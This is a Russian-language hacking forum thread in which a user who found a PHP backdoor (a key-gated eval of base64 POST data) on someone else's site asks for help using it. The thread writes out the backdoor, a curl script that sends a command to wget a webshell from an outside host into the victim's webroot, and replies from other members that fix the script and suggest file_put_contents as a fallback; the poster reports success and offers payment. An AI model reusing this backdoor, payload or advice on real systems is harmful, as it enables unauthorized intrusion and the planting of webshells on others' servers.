Отправка файла пост запросом

Discussion in 'Песочница' started by tagnohilori, 27 Sep 2017.

  1. tagnohilori

    tagnohilori New Member

    Joined:
    27 Sep 2017
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Добрый день , нашёл один сайт на котором лежит файл с таким содержимым:
    <?php
    error_reporting(0);
    set_time_limit(0);if($_GET['q']=='1'){echo '200';exit;}

    if($_GET['key']=='sdfadsgh4513sdGG435341FDGWWDFGDFHDFGDSFGDFSGDFG')eval(base64_decode($_POST['fack']));if(md5($_GET['key'])=='7663f1b3555993ad229183b0efad3261')eval(base64_decode($_POST['fack']));?>

    Я создал на своём сервере файл .php и загрузил в него форму curl с отправкой файла:
    <?php
    $url ='http://ip_serva_s_failom_code1/get_post.php';
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_URL, $url);
    $agent ="Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.7.12) Gecko/20050919 Firefox/1.0.7";
    curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch, CURLOPT_VERBOSE,1);
    curl_setopt($ch, CURLOPT_HEADER,0);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT,30);
    curl_setopt($ch, CURLOPT_MAXCONNECTS,3);
    curl_setopt($ch, CURLOPT_TIMEOUT,120);
    curl_setopt($ch, CURLOPT_ENCODING,"UTF-8");
    curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
    curl_setopt($ch, CURLOPT_USERPWD,'admin:pass');
    $codec = system("wget -b -P /var/www/ku/data/www/ip_serva_s_failom_code1/app/webroot/ https://ovrload.ru/f/*****.php");
    $postdata ="fack=". urlencode(base64_encode($codec));
    $headers["Content-Length"]= strlen($postdata);
    $headers["User-Agent"]="Curl/1.0";
    $headers["Content-Length"]= strlen($postdata);
    $headers["User-Agent"]="Curl/1.0";
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
    $res = curl_exec($ch);
    curl_close($ch);?>

    Пытаюсь отправить пост запрос с загрузкой файла через curl но файл создаётся на моем сервере а не на том ip куда я посылаю запрос.
    Авторизацию проходит , поэтому половина кода работает 100%, а POSRFIELDS вместо того что бы выполнятся на его сервере выполняется на моем , поправляете пожалуйста где сделал ошибку , если всё получится с меня 5$ на wmz
    Главная задача залить wso через файлик code1
     
    #1 tagnohilori, 27 Sep 2017
    Last edited: 27 Sep 2017
  2. artkar

    artkar Well-Known Member

    Joined:
    14 Nov 2016
    Messages:
    350
    Likes Received:
    331
    Reputations:
    6
    Я так думаю надо в $codec = system("wget -b -P /var/www/ku/data/www/ip_serva_s_failom_code1/app/webroot/ https://ovrload.ru/f/*****.php");
    после = и до ; взять в кавычки ну и разобраться с экранированием кавычек внутри...
     
  3. tagnohilori

    tagnohilori New Member

    Joined:
    27 Sep 2017
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Поставил кавычки получаю ошибку 500
     
  4. artkar

    artkar Well-Known Member

    Joined:
    14 Nov 2016
    Messages:
    350
    Likes Received:
    331
    Reputations:
    6
    а почему у тебя пост? Нужно ведь гет?
    И попробуй скопировать в папку /logs
     
  5. blackbox

    blackbox Elder - Старейшина

    Joined:
    31 Dec 2011
    Messages:
    362
    Likes Received:
    62
    Reputations:
    11
    Во-первых url должен быть '
    Code:
    http://ip_serva_s_failom_code1/get_post.php?key=sdfadsgh4513sdGG435341FDGWWDFGDFHDFGDSFGDFSGDFG'
    ;
    Во-вторых, строка запроса должна быть в таком виде:
    Code:
    $codec = 'system("wget -b -P /var/www/ku/data/www/ip_serva_s_failom_code1/app/webroot/ https://ovrload.ru/f/*****.php");'
    , то есть как правильно уже сказал в кавычках. Если system не работает (возможно она отключена), то можно попробовать напрямую записать вебшелл через, например, file_put_contents. И да, нужно проверить есть ли права на запись в нужной папке, так же через php все это можно сделать.
     
  6. tagnohilori

    tagnohilori New Member

    Joined:
    27 Sep 2017
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Ничего не помогло , просто ничего не происходит , тестирую на 2х своих серверах , шелл который по идее должен скачается на сервер не скачивается
     
  7. blackbox

    blackbox Elder - Старейшина

    Joined:
    31 Dec 2011
    Messages:
    362
    Likes Received:
    62
    Reputations:
    11
    Нужно посмотреть, не отключена ли функция system:
    Code:
    $codec = 'есho ini_get("disable_functions");'
    И в коде отсылки запроса добавить вывод:

    Code:
    $res = curl_exec($ch);
    echo $res;
     
  8. tagnohilori

    tagnohilori New Member

    Joined:
    27 Sep 2017
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Просто пустой экран , у тебя есть телеграмм ? Или скайп

    Ps. Все получилось , в конце $codec надо было поставить ....php");'; как-то так , и обращаться к key,
    Твой ответ мне помог напиши свой wmz в лс
     
    #8 tagnohilori, 27 Sep 2017
    Last edited: 27 Sep 2017
  9. blackbox

    blackbox Elder - Старейшина

    Joined:
    31 Dec 2011
    Messages:
    362
    Likes Received:
    62
    Reputations:
    11
    Рад что помог, wmz оставь себе на мороженое. ;)
     
    #9 blackbox, 28 Sep 2017
    Last edited: 28 Sep 2017
    brown likes this.
  10. tagnohilori

    tagnohilori New Member

    Joined:
    27 Sep 2017
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Спасибо , доброго вам вечера )
     
Loading...